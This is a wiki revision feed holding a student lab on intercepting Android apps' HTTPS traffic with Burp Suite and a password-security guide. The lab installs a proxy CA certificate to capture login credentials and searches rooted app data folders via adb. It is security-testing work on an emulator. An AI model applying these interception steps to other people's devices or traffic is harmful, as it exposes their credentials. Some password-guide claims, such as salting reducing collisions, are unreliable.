Then you can search all the directories for some interesting data. Be careful, the device has to be rooted in order to be able to have access to these folders. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.png|800px]]&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
Some popular apps which were downloaded millions of times, were tested within this project. Basically, we distinguish between three outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.There are apps which didn’t load anymore and therefore didn’t work if a proxy on the virtual device is configured. &lt;br /&gt;
&amp;amp;emsp;2.App does work correctly, but the credentials cannot be decrypted. &lt;br /&gt;
&amp;amp;emsp;3.App does work and credentials can be decrypted. &lt;br /&gt;
&lt;br /&gt;
Most of the apps do not work since they have most probably HPKP, certificate- or key pinning implemented, which didn’t allow to accept another certificate then configured.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11502</id>
		<title>MitM on Android App</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11502"/>
		<updated>2023-02-17T15:12:13Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The aim of this documentation is to test the certificate validation process of popular android apps. This will be done by a proxy which will intercept the traffic between the android app and the appropriate server. To simulate the Android smartphone an Android emulator was used. First the traffic will be intercepted without the root certificate of the proxy installed to check if a warning will prevent the user to continue to exchange data over an unencrypted channel. Then the root certificate of the proxy will be installed to be able to test if the https traffic can be decrypted. &lt;br /&gt;
&lt;br /&gt;
== Background == &lt;br /&gt;
Certificate validation in Android applications is a historically known problem. This validation process is a security feature that causes clients to verify the identity of a server before attempting to authenticate on a network. &lt;br /&gt;
&lt;br /&gt;
The process is usually done by retrieving a sequence of certificates from the server, each of which has signed the next in the sequence. The root of the signing CA is the certificate that is bound to the server. The certificates in this chain are compared with the installed certificates in the client&#039;s operating system and then verified. If these are not found there, the client receives a certificate warning when surfing a website. If the client accepts the risk, it runs the risk of a third party listening in on the data traffic.&lt;br /&gt;
&lt;br /&gt;
Developers tend to implement certificate validation incorrectly on mobile applications. Therefore Google designed its Google Safeguards and Network Setting Configurations (NSC). It turns out that even with these, there are serious flaws in the implementation that allow a machine-in-the-middle attack. &lt;br /&gt;
&lt;br /&gt;
This project is intended to familiarize ourselves with the problem by testing whether mobile applications accept certificates such as those of a well-known proxy (Burp Suite) and thus allow HTTPS encryption to be broken. Results could therefore show whether there are underlying problems in the process of certificate validation in the apps, or whether the application works correctly.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Burp Suite (Download [https://portswigger.net/burp here])&lt;br /&gt;
* Android Studio Emulator (Download [https://developer.android.com/studio here])&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 (Setting Up the Virtual Device) ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.Install Android Studio Emulator and start the software after installation.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.Configure Android SDK (Android 6.0 Marshmallow was used for this project) with the SDK Manager of the Emulator, which can be found under More Actions &amp;gt; Virtual Device Manager.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.Create a Virtual Device over the AVD Manager (Nexus 6 Phone was used for this project)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4.Select the “Marshmallow” system image. When using the first time, it must be first downloaded under “Other Images”.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5.In the next section you can set a name for the device and configure for example storage parameters or the CPU cores.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6.Then the Emulator can be launched. The device should work and be connected to the internet automatically.&lt;br /&gt;
&lt;br /&gt;
When finished, it should look like in the figure.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 (Installing Apps with Android Debug Bridge) ===&lt;br /&gt;
&lt;br /&gt;
Next, some APKs can be downloaded locally on the host, which will be then pushed in the next steps on the virtual Android device.&lt;br /&gt;
&lt;br /&gt;
The APKs can be downloaded for example from [https://apk-dl.com here]. To install the APK a tool named adb (Android Debug Bridge). This command-line tool can be used to install and uninstall applications on the device. Furthermore, files can be pushed to the device. But many other things can be also done. This can be looked up here [https://developer.android.com/studio/command-line/adb here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Android Debug Bridge is located in the operating system at the following path: &lt;br /&gt;
&lt;br /&gt;
* Mac: /Users/[your_user]/Library/Android/sdk/platform.tools/&lt;br /&gt;
* Windows: C:\Users\[user]\AppData\Local\Android\sdk\platform-tools\&lt;br /&gt;
* Linux: /usr/share/android-sdk/platform-tools/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After moving to the folder, you can check with “./adb devices” the list of devices attached to your system. Please pay attention that you have to be in adb folder to be able to execute adb.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When downloading APK, you can install the application onto your virtual Android device. Assumed the APK was downloaded in the “Downloads” folder, so then we can use the following command:&lt;br /&gt;
&lt;br /&gt;
* “./adb install ~/Downloads/[your_downloaded_APK]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After some seconds it should be able to start the app on the smartphone. &lt;br /&gt;
&lt;br /&gt;
=== Step 3 (Configuring Burp Proxy) ===&lt;br /&gt;
&lt;br /&gt;
Burp can be configured under Options like it was shown in the Figure below. The listening interface and port can be defined by clicking on the “Edit” button. Also, it can be configured that on all interfaces should be listened. In this project it was configured to listen on localhost (127.0.0.1) on port 8080.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the Android device the proxy settings needs to be set. Go therefore to the Emulator &amp;gt; Settings &amp;gt; Proxy. Type in the proxy listener in the manual proxy settings and click on “Apply”.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3.png|400px]]&lt;br /&gt;
&lt;br /&gt;
When you click in Burp Suite on “HTTP history” you should be able to intercept the HTTP traffic which you can create on the virtual device. &lt;br /&gt;
To be able to intercept HTTPS traffic, the burp suite certificate needs to be installed on the Android device.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4.png|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 (Installing Burp Suite Certificate) ===&lt;br /&gt;
&lt;br /&gt;
In Burp Suite switch to “Options” and click on “Import / export CA certificate”. Then export the certificate in DER format. Give the certificate a name and save it with a “.cer” extension.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the certificate can be pushed with following command into SD card on the emulator:&lt;br /&gt;
&lt;br /&gt;
* ./adb push ~/Downloads/burpcert.cer /sdcard&lt;br /&gt;
&lt;br /&gt;
With an interactive shell it can be checked now if the certificate is already persistent on the device:&lt;br /&gt;
&lt;br /&gt;
* adb shell		// Start the interactive shell&lt;br /&gt;
* cd sdcard/		// Switch to SD-card storage&lt;br /&gt;
* ls			// Show all files in current directory &lt;br /&gt;
&lt;br /&gt;
The certificate file should be now displayed in the directory.&lt;br /&gt;
On the Android device the certificate can be installed under Settings &amp;gt; Security &amp;gt; Install from SD card &amp;gt; Internal storage &amp;gt; [your_certificate_name].cer&lt;br /&gt;
&lt;br /&gt;
Follow the process straight away. &lt;br /&gt;
After installing the certificate, the root certificate (PortSwigger CA) should be installed under Settings &amp;gt; Security &amp;gt; Trusted credentials &amp;gt; USER&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6.png|400px]]&lt;br /&gt;
&lt;br /&gt;
Now you should be also able to intercept HTTPS traffic. Intercept now individual POST requests over the “Intercept” option in Burp. Turn the interception on and enter some test credentials. Encrypted, hashed or cleartext passwords should be now caught.&lt;br /&gt;
Also, it can be searched for sensitive data over the interactive shell: &lt;br /&gt;
&lt;br /&gt;
* adb shell&lt;br /&gt;
* cd /&lt;br /&gt;
* cd data/data &lt;br /&gt;
&lt;br /&gt;
Then you can search all the directories for some interesting data. Be careful, the device has to be rooted in order to be able to have access to these folders. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.png|800px]]&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
Some popular apps which were downloaded millions of times, were tested within this project. Basically, we distinguish between three outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.There are apps which didn’t load anymore and therefore didn’t work if a proxy on the virtual device is configured. &lt;br /&gt;
&amp;amp;emsp;2.App does work correctly, but the credentials cannot be decrypted. &lt;br /&gt;
&amp;amp;emsp;3.App does work and credentials can be decrypted. &lt;br /&gt;
&lt;br /&gt;
Most of the apps do not work since they have most probably HPKP, certificate- or key pinning implemented, which didn’t allow to accept another certificate then configured.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild7.png&amp;diff=11501</id>
		<title>File:Bild7.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild7.png&amp;diff=11501"/>
		<updated>2023-02-17T13:28:54Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild6.png&amp;diff=11500</id>
		<title>File:Bild6.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild6.png&amp;diff=11500"/>
		<updated>2023-02-17T13:28:42Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild5.png&amp;diff=11499</id>
		<title>File:Bild5.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild5.png&amp;diff=11499"/>
		<updated>2023-02-17T13:28:34Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild4.png&amp;diff=11498</id>
		<title>File:Bild4.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild4.png&amp;diff=11498"/>
		<updated>2023-02-17T13:28:25Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild3.png&amp;diff=11497</id>
		<title>File:Bild3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild3.png&amp;diff=11497"/>
		<updated>2023-02-17T13:28:13Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: EPelanovic uploaded a new version of File:Bild3.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild2.png&amp;diff=11496</id>
		<title>File:Bild2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild2.png&amp;diff=11496"/>
		<updated>2023-02-17T13:27:33Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: EPelanovic uploaded a new version of File:Bild2.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11490</id>
		<title>MitM on Android App</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11490"/>
		<updated>2023-02-15T22:57:26Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: Created page with &amp;quot;== Summary ==   Description what this documentation is about.  == Requirements ==  * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs  In order to complete these steps, you must have followed Some Other Documentation before.  == Description ==  === Step 1 ===  Enter these commands in the shell   echo foo  echo bar  === Step 2 ===  Make sure to read  * War and Peace * Lord of the Rings * The Baroque Cycle  == Used Hardware ==  Device to be used with...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Description what this documentation is about.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages: git emacs&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Some Other Documentation]] before.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild1.png&amp;diff=11489</id>
		<title>File:Bild1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Bild1.png&amp;diff=11489"/>
		<updated>2023-02-15T22:55:44Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: EPelanovic uploaded a new version of File:Bild1.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Password_Security&amp;diff=10719</id>
		<title>Password Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Password_Security&amp;diff=10719"/>
		<updated>2023-01-06T23:47:29Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation provides advice about secure passwords. It covers known problems with passwords and elaborates various solutions for secure password creation and usage. The issue &amp;quot;bad passwords&amp;quot; is the number 1 vulnerability in the Internet-of-Things (IoT)[1]. &lt;br /&gt;
&lt;br /&gt;
Nowadays, whenever a service or platform online need to be accessed, a username and password was needed. Thus, anyone in possession of these credentials can access the account. In this day and age, although they are no longer the only means of protection, they are the first line of defense for our data, which is why we need to set them up all the better. &lt;br /&gt;
&lt;br /&gt;
== Password Storage == &lt;br /&gt;
&lt;br /&gt;
The passwords which were entered during registration are usually stored in a database. Accordingly, these also belong protected from attackers. To protect the database from unauthorized access, firewalls are placed in front of the databases. Additional protection is provided by role definitions, which determine who has access to the database. However, these protective measures will not be sufficient. In case of unwanted access to the database, we must ensure that the passwords present there are in a non-readable (encrypted) format. &lt;br /&gt;
&lt;br /&gt;
The passwords which were entered during registration are usually stored in a database. Accordingly, these also belong protected from attackers. To protect the database from unauthorized access, firewalls are placed in front of the databases. Additional protection is provided by role definitions, which determine who has access to the database. However, these protective measures will not be sufficient. In case of unwanted access to the database, we must ensure that the passwords present there are in a non-readable (encrypted) format. &lt;br /&gt;
&lt;br /&gt;
If we now take a password (e.g.: &amp;quot;myPassword&amp;quot;) and apply the SHA-1 function to it, for example, it looks like this:&lt;br /&gt;
&lt;br /&gt;
* echo -n &amp;quot;myPassword&amp;quot;  openssl sha1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Output:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Hash.PNG|250px]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Such a value is now stored in the database. When the user logs in again, the password is hashed again and compared with the stored value in the database. If both values match, the user will be logged in. If not, the attempt fails. &lt;br /&gt;
&lt;br /&gt;
If an attacker gains access to the database, he cannot do much with it at first. As with encryption, it is not possible to infer the password from a key. Only a guess is be possible. The attacker would have to know the password, hash it and then compare it. So only guessing is possible.&lt;br /&gt;
This is because cryptographic hash functions have the following important properties:&lt;br /&gt;
*Each hash has the same length (40 characters), regardless of the length of the file or string.&lt;br /&gt;
*Therefore, it is not possible to infer the length of the original password from the length of the hash value.&lt;br /&gt;
*Likewise, it is impossible to infer other properties of the original password. For example, it cannot tell how many vowels, special characters, or whether some characters occur more than once.&lt;br /&gt;
*This also implies that hash values for similar words are unpredictably different anyway. The hash for &amp;quot;hello&amp;quot; is different from the hash for &amp;quot;hallo&amp;quot;.&lt;br /&gt;
*It also follows from all these properties that for a given hash value, for a given hash function, there is not just one original password that generates that hash value, but any number of them. The technical term is &amp;quot;collision&amp;quot;. In practice, one wants to have as few of these as possible. &lt;br /&gt;
*To better avoid collisions, &amp;quot;salting&amp;quot; was introduced. A salt is a randomly selected character string that is appended to a plaintext password before it is processed further. This is to increase the entropy even more.&lt;br /&gt;
&lt;br /&gt;
== Problems with Passwords ==&lt;br /&gt;
&lt;br /&gt;
There are several more or less widely known bad habits regarding passwords.&lt;br /&gt;
&lt;br /&gt;
=== Mistakes by choosing Passwords ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Personal information&#039;&#039;&#039; is used to create passwords which is a popular target for social engineering (names, dates, etc.), due to the limitation of the capacity a human can remember. Often &#039;&#039;&#039;standard passwords&#039;&#039;&#039; like &amp;quot;123456&amp;quot; or &amp;quot;password&amp;quot; are used. Actually, &amp;quot;123456&amp;quot; has been the most used password for the last years [2]. The re-use of passwords is one of the main challenges: many users use the &#039;&#039;&#039;same password for various accounts&#039;&#039;&#039;. It should be obvious that it is not a good idea to use the same password for online banking and for an Adobe account. The quality of a password depends on how long a attacker needs to find the correct one.&lt;br /&gt;
&lt;br /&gt;
=== Password Entropy and Quality ===&lt;br /&gt;
A lot of studies suggest to take &#039;&#039;&#039;Password Entropy&#039;&#039;&#039; to meassure the efficiency of a password. A higher entropy indicates a secure password, where less entropy indicates a less secure passwords. Entropy is the amount of information held in a password. The more &#039;&#039;information&#039;&#039; is in your password the more time a hacker has to invest to crack the password. To get a higher entropy you should use more and different characters.&lt;br /&gt;
&lt;br /&gt;
Character Set 1: 26 lower case letters: abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
&lt;br /&gt;
Character Set 2: 26 upper case letters: ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
&lt;br /&gt;
Character Set 3: 10 digit characters: 01234567890&lt;br /&gt;
&lt;br /&gt;
Character Set 4: 31 special characters: ~!@#$ %^&amp;amp;*()_-+= {}∣[] \:“&amp;lt;&amp;gt;?;&#039;,. /&lt;br /&gt;
&lt;br /&gt;
=== Keeping Passwords safe === &lt;br /&gt;
&lt;br /&gt;
One of the biggest problems is still keeping our private passwords safe. The rule is that for every online service a different password is recommended. Only a few people manage to remember all their passwords. Even if they are chosen according to the rules. Therefore, the majority of users choose simple passwords, which are easy to remember but also easy to crack. For seven years now, the most frequently chosen password has been &amp;quot;123456&amp;quot; and &amp;quot;password&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
Fortunately, we can easily outsource this work to so-called password managers, which serve as our safe vaults and do the work for our memory. A password manager gives us the ability to create a secure password for ourselves and store it in its database. A password can be created for each online service for which we need a password. This can be inserted automatically when the website is called. The entire database is protected by a so-called &amp;quot;master password&amp;quot;, which we must remember. Accordingly, this password should then also be chosen securely. In addition, there is also a protection via a second factor, which once again strengthens the security. &lt;br /&gt;
&lt;br /&gt;
A password manager also has its disadvantages. Most password managers are associated with a cost factor. Another disadvantage can arise if the user forgets the master password. This can cause all stored passwords to be lost forever. &lt;br /&gt;
When choosing a password manager, one should be aware that the control over the security of the passwords is no longer with the user, at least this is not the case with all manufacturers. If the manufacturer of the password manager is attacked and hacked, the attacker has access to all passwords. Likewise, one trusts the manufacturer that the corresponding software also has no security gaps and the manager is considered secure.&lt;br /&gt;
&lt;br /&gt;
== Good Passwords ==&lt;br /&gt;
&lt;br /&gt;
There are 3 general aspects to good passwords: the length plays a main role, the password must not be trivial, and the password must be easily memorized. Leet speak (i.e. replacing certain letters with associated numbers, e.g. &amp;quot;p455w0rd&amp;quot;) is not a good idea because meanwhile all password crackers know leet speak.&lt;br /&gt;
&lt;br /&gt;
=== Good Password Checklist ===&lt;br /&gt;
&lt;br /&gt;
* Minimum length of 12 characters&lt;br /&gt;
* Contains lower &amp;amp; upper case letters, digits, and special characters&lt;br /&gt;
* As random as possible&lt;br /&gt;
* Easy to remember&lt;br /&gt;
&lt;br /&gt;
=== How to Create a Good Password ===&lt;br /&gt;
&lt;br /&gt;
* Think about your favorite lines of a song, poem, or movie, etc. Take the first letters and special characters to create your password. &lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example:&lt;br /&gt;
 Are you lonesome tonight? &lt;br /&gt;
 Do you miss me tonight?&lt;br /&gt;
 Are you sorry we drifted apart?&lt;br /&gt;
&lt;br /&gt;
The resulting password might be: Ayl2n?Dymm2n?Ayswda?&lt;br /&gt;
&lt;br /&gt;
* Think about approx. 4 different words which make sense for you but in general, the combination does not make any sense at all. Meaningful sentences are no good passwords.&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example:&lt;br /&gt;
 Concrete&lt;br /&gt;
 Ocean&lt;br /&gt;
 Mouse&lt;br /&gt;
 Egg&lt;br /&gt;
&lt;br /&gt;
You&#039;ll have to add a special character and a digit. The resulting password might be: ConcreteOcean4MouseEgg! &lt;br /&gt;
&lt;br /&gt;
Also GRC Haystack can by used to check how quick a password can be cracked. Just type in a custom password and the tool will show several attack scenarios like it was shown in the figure below. [https://www.grc.com/haystack.htm] &lt;br /&gt;
&lt;br /&gt;
[[File:Haystack.PNG|500px]] &lt;br /&gt;
&lt;br /&gt;
== Further Advice for a Secure Password Usage ==&lt;br /&gt;
&lt;br /&gt;
=== Password Manager ===&lt;br /&gt;
&lt;br /&gt;
The use of a password manager solves the problem to remember numerous different passwords for various accounts. You have one file containing all your passwords which is secured by one strong password. Our recommended password managers are open source, free of charge, and platform-independent.&lt;br /&gt;
&lt;br /&gt;
Recommended password managers:&lt;br /&gt;
&lt;br /&gt;
* KeePass XC - https://keepassxc.org/&lt;br /&gt;
* KeePass - https://keepass.info/&lt;br /&gt;
* Lastpass - https://www.lastpass.com/&lt;br /&gt;
&lt;br /&gt;
=== Differences ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Keepass&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Lastpass&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Security &amp;amp; Encryption&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;AES-256, ChaCha20 and Twofish&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;AES-256, Cloud Storing&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: center;&amp;quot;&amp;gt;App Compatibility&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Mobile and Web&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Mobile and Web&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Usability and Ease of Use&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Complex UI&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;More user-friendly UI, easy installation&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Password Sharing&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Allows shared Database (for small teams)&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Allows Password Sharing (department-wide), easy handling&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Price&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Open-Source&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Various price models (starts with 3$)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Two-Factor Authentication ===&lt;br /&gt;
&lt;br /&gt;
Two-Factor Authentication requires a second authentication method besides the password, e.g. Google Authenticator [3] which provides a 6-digit code for each login. A second authentication factor might also be a biometric factor (e.g. fingerprint). You also might use a crypto token (e.g. a Yubico key [4]). &lt;br /&gt;
&lt;br /&gt;
=== Some more Tips === &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;1.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Unique password for every application you log on to&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;2.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;The longer the password, the better&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;3.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Different characters can always be used&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
